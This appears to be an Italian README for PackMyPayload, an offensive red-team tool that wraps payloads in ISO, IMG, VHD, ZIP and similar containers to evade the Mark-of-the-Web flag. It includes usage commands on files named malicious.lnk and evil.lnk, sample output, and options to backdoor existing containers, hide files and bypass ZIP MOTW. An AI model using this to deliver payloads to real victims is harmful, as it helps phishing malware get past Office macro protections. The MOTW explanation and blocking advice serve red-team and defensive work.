
Una PoC che impacchetta payload in contenitori di output per eludere il flag Mark-of-the-Web e dimostrare i rischi associati ai formati di file contenitore. Supporta: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX
PackMyPayload - Minaccia Emergente del Malware ContainerizzatoQuesto strumento prende un file o una directory in input e li incorpora in un file di output che funge da archivio/contenitore. Può servire come Prova di Concetto per presentare il rischio emergente dei formati di file contenitore con malware incorporato, oltre che come aiuto per gli Operatori Red Team professionisti per affinare le loro manovre di Accesso Iniziale.
Attualmente, gli Attori Malevoli sono noti per introdurre di nascosto il loro malware archiviato in vari formati di file contenitore, per citarne alcuni:
7zipzipISOIMGLo fanno per far passare i loro payload attraverso gli scanner di contenuto dei file, ma più importante per evitare di avere il flag Mark-Of-The-Web sui loro file. Ci sono vari motivi per cui gli avversari non vogliono MOTW sui loro file: la Vista Protetta in Microsoft Office è sempre stata tra questi.
Se forniscono un file contenitore alle loro vittime, una base per disabilitare le macro VBA nei documenti Office provenienti da Internet potrebbe essere aggirata.
Il 7 Febbraio Microsoft ha annunciato un cambiamento di configurazione predefinita per bloccare le macro VBA provenienti da Internet. Questo è un passo incredibile verso l'indurimento della configurazione di base della workstation dell'utente e del software client installato. Forse in ritardo, ma un passo importante che influisce drasticamente in modo positivo sulle configurazioni tipiche di Windows+Office.
Il comportamento implementato è spiegato come funzionante differenziando i documenti Office abilitati alle macro in base al flag MOTW (Mark of the Web). Quel flag funge da etichetta contaminata disponibile per i software client (browser, client di posta, archiviatori, ecc.) per contrassegnare i file provenienti da aree non attendibili come Internet.
Outflank ha fatto più luce su MOTW, già nel 2020, indicando aree in cui il flag MOTW non viene propagato uniformemente. Queste aree svolgono un ruolo di gap difensivo e sono comunemente sfruttate dagli attori malevoli ormai da anni.
La loro ricerca ha rivelato che alcuni formati di file contenitore - in particolare ISO, VHD/VHDX - non propagano il flag di contaminazione MOTW sui file interni durante il montaggio automatico o l'estrazione automatica. Inoltre, Windows 8+ è in grado di aprire questi formati automaticamente con un doppio clic, rendendoli portatori di infezione notori, che potrebbero svalutare MOTW nel suo ruolo di misura di sicurezza.
Vediamo come si presenta in pratica il flag Mark of the Web:

Dopo aver scaricato un file, fai clic destro su di esso e rivedi le sue proprietà.
Vedrai un messaggio che chiede di Sbloccare il file, perché proviene da una zona non attendibile:

Quell'informazione è memorizzata in NTFS ADS (Alternate Data Stream) chiamato Zone.Identifier che appare così:

Il ZoneId=3 svolge il ruolo di contrassegnare il file come contaminato.
Usando PackMyPayload.py inserisci il file in un disco ISO Joliet facilmente con un comando:
PS> py PackMyPayload.py 7z2107-x64.exe 7z2107-x64.iso

Dopo aver creato il file ISO, simula un server HTTP usando Python:
PS> py -m http.server 80
e poi scarica il file ISO usando il tuo Browser.

Quando controlli le Proprietà di quel file ISO, vedrai che è contrassegnato con il flag MOTW.

Tuttavia, il file EXE dell'installer di 7zip all'interno non è contrassegnato con MOTW!

Approfittando dell'occasione che gli occhi dell'Industria sono puntati sulla coraggiosa decisione di Microsoft di bloccare le macro VBA, noi, professionisti della Sicurezza Informatica che teniamo nella massima considerazione l'aumento della resilienza delle tecnologie mondiali contro il loro uso improprio, vogliamo aggiungere il seguente spunto alle attuali TTP degli Attori Malevoli:
Gli Attori Malevoli sono ben consapevoli dell'impatto che MOTW ha sui loro payload di phishing. Si sono adattati da tempo e ora stanno introducendo di nascosto i loro programmi malevoli all'interno di contenitori. Tra quelli più comunemente osservati possiamo evidenziare ISO, IMG, CAB.
Ora rilascio questo strumento per aumentare lo slancio creato dalla posizione di Microsoft e per aiutare a intensificare le discussioni su queste vie di evasione.
Si consiglia di contenere (e/o bloccare) i file con le estensioni sopra elencate ogni volta che provengono da zone non attendibili e ovunque applicabile:
Lo strumento rilasciato consentirà, si spera, a più Red Team di simulare i rischi discussi e di aiutarli a identificare più facilmente le lacune di rilevamento all'interno delle difese dei loro Partner.
Questo script offre i seguenti vantaggi e chicche:
Formati supportati:
--zip-noreadonly.cmd> pip3 install -r requirements.txt
PS> py PackMyPayload.py C:\my\dir malicious.iso -v
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.2.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .iso (iso)...
Burning files onto ISO:
Adding file: //malicious.lnk
Adding file: //malicious.docm
[INFO] [+] File packaged into ISO.
[INFO] Successfully packed input file.
[+] Generated file written to (size: 69632): malicious.iso
DISKPART che richiede accesso Admin agli oggetti/namespace del dispositivo fisico. La migliore esperienza si ottiene eseguendo lo script su Windows Terminal (wt) o ConEmu in quanto supportano i colori ANSI. In caso contrario, se l'output risultasse brutto, disabilita quei colori con il flag -N:PS> py PackMyPayload.py .\evil.lnk .\evil.vhd -v -N
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.2.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .vhd (vhd)...
[INFO] Drive letters currently occupied:
X
C
Z
D
[INFO] Will create VHD of size: 1024MB (Dynamic)
[INFO] Will assign VHD letter : V:
[INFO] Will format VHD with : FAT32
[INFO] Creating VHD file...
[+] Created & mounted VHD file on V:\
[.] Packing files into created VHD...
[INFO] Packaged file:
[INFO] evil.lnk => V:\
[.] Detaching VHD file...
[+] Detached VHD file from V:\
[INFO] [+] File packaged into VHD.
[INFO] Successfully packed input file.
[+] Generated file written to (size: 6311936): evil.vhd
usage:
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.3.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
Usage: PackMyPayload.py [options] <infile> <outfile>
options:
-h, --help show this help message and exit
Required arguments:
infile Input file/directory to be packaged into output archive/container
outfile Output file with extension pointing at output format
Options:
-v, --verbose Verbose mode.
-d, --debug Debug mode.
-N, --nocolor Dont use colors in text output.
-i BACKDOOR, --backdoor BACKDOOR
Instead of generating blank new output container/archive, will backdoor existing input one.
-n NAME, --filename NAME
Package input file into archive/container under this filename (may contain relative path).
-p PASSWORD, --password PASSWORD
If output archive/container format supports password protection, use this password to protect
output file.
--out-format {zip,7z,iso,img,cab,pdf,vhd,vhdx}
Explicitely define output format disregarding output file's extension. Can be one of
following: zip, 7z, iso, img, cab, pdf, vhd, vhdx
-H HIDE, --hide HIDE (Supported in ISO/IMG, ZIP) Set hidden attribute on file(s). Cannot be repeated, only comma-
separated. Example: --hide icon.ico,evil.exe . Supports wildcards: --hide icon?.*
ZIP specific options:
--zip-noreadonly DISABLE ZIP MOTW bypass that is used by default. By default, PackMyPayload marks Office files
as Read-Only making ZIP software unable to set MOTW flag on them when extracted. This option
disables that behavior.
VHD specific options:
--vhd-size SIZE VHD dynamic size in MB. Default: 1024
--vhd-letter LETTER Drive letter where to mount VHD drive. Default: will pick unused one at random.
--vhd-filesystem FS Filesystem to be used while formatting VHD. Default: FAT32. Supported: fat, fat32, ntfs
=====================================================
Supported container/archive formats:
- zip
- 7z
- iso
- img
- cab
- pdf
- vhd
- vhdx
=====================================================
Aggiungere supporto per file MSI
Incorporare file in documenti MS Office 2007+: word -> embeddings -> oleObject1.bin (flusso OLE) + aggiustare
Valutare l'aggiunta del supporto ad altri formati di archivio esotici (non proprio utili per MOTW o supportati nativamente da Windows):
tarcpiopaxxararmtreeshartarcpgzuuTi chiedo gentilmente di leggere la seguente riga ad alta voce e il più velocemente possibile davanti a uno specchio:
py Pack My Payload dot py
Alcuni dicono che l'incantesimo evoca l'antico DAEMON e Pecore ( ͡~ ͜ʖ ͡°)
Un applauso e grazie ai seguenti contributori che hanno aiutato a migliorare questo strumento:
--hide per nascondere file nei contenitori ISO/IMG--hideQuesto e altri progetti sono il risultato di notti insonni e molto duro lavoro. Se ti piace quello che faccio e apprezzi che restituisco sempre alla comunità, Considera di offrirmi un caffè (o meglio una birra) solo per dire grazie! 💪
Mariusz Banach / mgeeky, (@mariuszbit)
<mb [at] binary-offensive.com>
| Formato | Rimuove MOTW? | Supporto Windows nativo? | Richiede elevazione? | Note |
|---|
Zip | No/Sì* | Sì | No | (MOTW rimosso tramite CVE-2022-41091) |
7zip | Parzialmente | No | No | MOTW rimosso solo su estrazione manuale dei file |
ISO | Sì | Sì | No | |
IMG | Sì | Sì | No | |
PDF | ? | Sì | No | Dipende dal supporto Javascript nel lettore PDF |
CAB | No | Sì | No | Richiede alcuni clic aggiuntivi dalla vittima |
VHD | Sì | Sì | Sì | Questo script attualmente non può creare directory |
VHDX | Sì | Sì | Sì | Questo script attualmente non può creare directory |
lhaWinZip Pro supporta anche l'estrazione dei seguenti formati - forse vale la pena aggiungerli:
B64, BHX, BZ, BZ2, GZ, HQX, LHA, LZH, MIM, TAZ, TBZ,TBZ2, TGZ, TXZ, TZ, UU, UUE, VMDK, XXE, XZ, Z, ZIPX,